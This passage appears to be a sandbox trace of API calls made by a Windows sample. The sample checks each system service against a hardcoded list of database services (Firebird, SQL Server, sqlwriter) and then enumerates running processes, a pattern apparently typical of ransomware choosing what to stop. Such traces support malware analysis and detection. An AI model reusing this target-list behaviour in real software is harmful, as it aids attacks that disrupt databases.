(lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.634] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.634] lstrlenW (lpString="iphlpsvc") returned 8 [0130.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0130.634] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0130.634] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0130.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0130.634] lstrlenW (lpString="KeyIso") returned 6 [0130.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0130.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0130.634] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0130.634] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0130.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0130.634] lstrlenW (lpString="LanmanServer") returned 12 [0130.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0130.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0130.634] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0130.634] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0130.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0130.634] lstrlenW (lpString="LanmanWorkstation") returned 17 [0130.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.634] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0130.634] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0130.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0130.635] lstrlenW (lpString="lfsvc") returned 5 [0130.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0130.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0130.635] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0130.635] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0130.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0130.635] lstrlenW (lpString="lmhosts") returned 7 [0130.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.635] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.635] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.635] lstrlenW (lpString="LSM") returned 3 [0130.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0130.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0130.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0130.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0130.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0130.635] lstrlenW (lpString="MpsSvc") returned 6 [0130.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0130.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0130.635] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0130.635] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0130.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0130.635] lstrlenW (lpString="NcbService") returned 10 [0130.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0130.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0130.635] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0130.635] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0130.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0130.635] lstrlenW (lpString="netprofm") returned 8 [0130.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0130.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0130.635] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0130.635] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0130.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0130.636] lstrlenW (lpString="NgcSvc") returned 6 [0130.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0130.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0130.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0130.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0130.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0130.636] lstrlenW (lpString="NlaSvc") returned 6 [0130.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0130.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0130.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0130.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0130.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0130.636] lstrlenW (lpString="nsi") returned 3 [0130.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.636] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.636] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.636] lstrlenW (lpString="PcaSvc") returned 6 [0130.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0130.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0130.636] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0130.636] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0130.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0130.636] lstrlenW (lpString="PlugPlay") returned 8 [0130.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.636] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.636] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.636] lstrlenW (lpString="Power") returned 5 [0130.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.637] lstrlenW (lpString="ProfSvc") returned 7 [0130.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.637] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.637] lstrlenW (lpString="RpcSs") returned 5 [0130.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.637] lstrlenW (lpString="SamSs") returned 5 [0130.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.637] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.637] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.637] lstrlenW (lpString="Schedule") returned 8 [0130.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.637] lstrlenW (lpString="SecurityHealthService") returned 21 [0130.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.637] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0130.637] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0130.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0130.638] lstrlenW (lpString="SENS") returned 4 [0130.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.638] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.638] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.638] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.638] lstrlenW (lpString="Spooler") returned 7 [0130.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.638] lstrlenW (lpString="StateRepository") returned 15 [0130.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0130.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0130.638] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0130.638] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0130.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0130.638] lstrlenW (lpString="SysMain") returned 7 [0130.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0130.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0130.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0130.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0130.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0130.638] lstrlenW (lpString="SystemEventsBroker") returned 18 [0130.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0130.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0130.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0130.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0130.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0130.639] lstrlenW (lpString="Themes") returned 6 [0130.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0130.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0130.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0130.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0130.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0130.639] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0130.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0130.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0130.639] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0130.639] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0130.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0130.639] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0130.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0130.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0130.639] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0130.639] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0130.639] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5b2780 | out: hHeap=0x510000) returned 1 [0130.639] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b8 [0131.178] Process32FirstW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.179] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.180] lstrlenW (lpString="System") returned 6 [0131.180] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.180] lstrlenW (lpString="smss.exe") returned 8 [0131.181] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.181] lstrlenW (lpString="csrss.exe") returned 9 [0131.181] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.182] lstrlenW (lpString="wininit.exe") returned 11 [0131.182] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.182] lstrlenW (lpString="csrss.exe") returned 9 [0131.183] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.183] lstrlenW (lpString="winlogon.exe") returned 12 [0131.183] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.184] lstrlenW (lpString="services.exe") returned 12 [0131.184] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.185] lstrlenW (lpString="lsass.exe") returned 9 [0131.185] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.185] lstrlenW (lpString="svchost.exe") returned 11 [0131.185] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0131.186] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0131.186] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0131.187] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0131.187] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.187] lstrlenW (lpString="svchost.exe") returned 11 [0131.187] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.188] lstrlenW (lpString="dwm.exe") returned 7 [0131.188] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.189] lstrlenW (lpString="svchost.exe") returned 11 [0131.189] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.190] lstrlenW (lpString="svchost.exe") returned 11 [0131.190] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.190] lstrlenW (lpString="svchost.exe") returned 11 [0131.190] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.191] lstrlenW (lpString="svchost.exe") returned 11 [0131.191] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.192] lstrlenW (lpString="svchost.exe") returned 11 [0131.192] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.192] lstrlenW (lpString="svchost.exe") returned 11 [0131.192] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.193] lstrlenW (lpString="svchost.exe") returned 11 [0131.193] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.194] lstrlenW (lpString="svchost.exe") returned 11 [0131.194] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.194] lstrlenW (lpString="svchost.exe") returned 11 [0131.194] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.195] lstrlenW (lpString="svchost.exe") returned 11 [0131.195] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.196] lstrlenW (lpString="spoolsv.exe") returned 11 [0131.196] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.196] lstrlenW (lpString="svchost.exe") returned 11 [0131.196] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0131.197] lstrlenW (lpString="audiodg.exe") returned 11 [0131.197] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0131.198] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0131.198] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0131.198] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0131.198] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0131.199] lstrlenW (lpString="Memory Compression") returned 18 [0131.199] Process32NextW (in: hSnapshot=0x4b8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 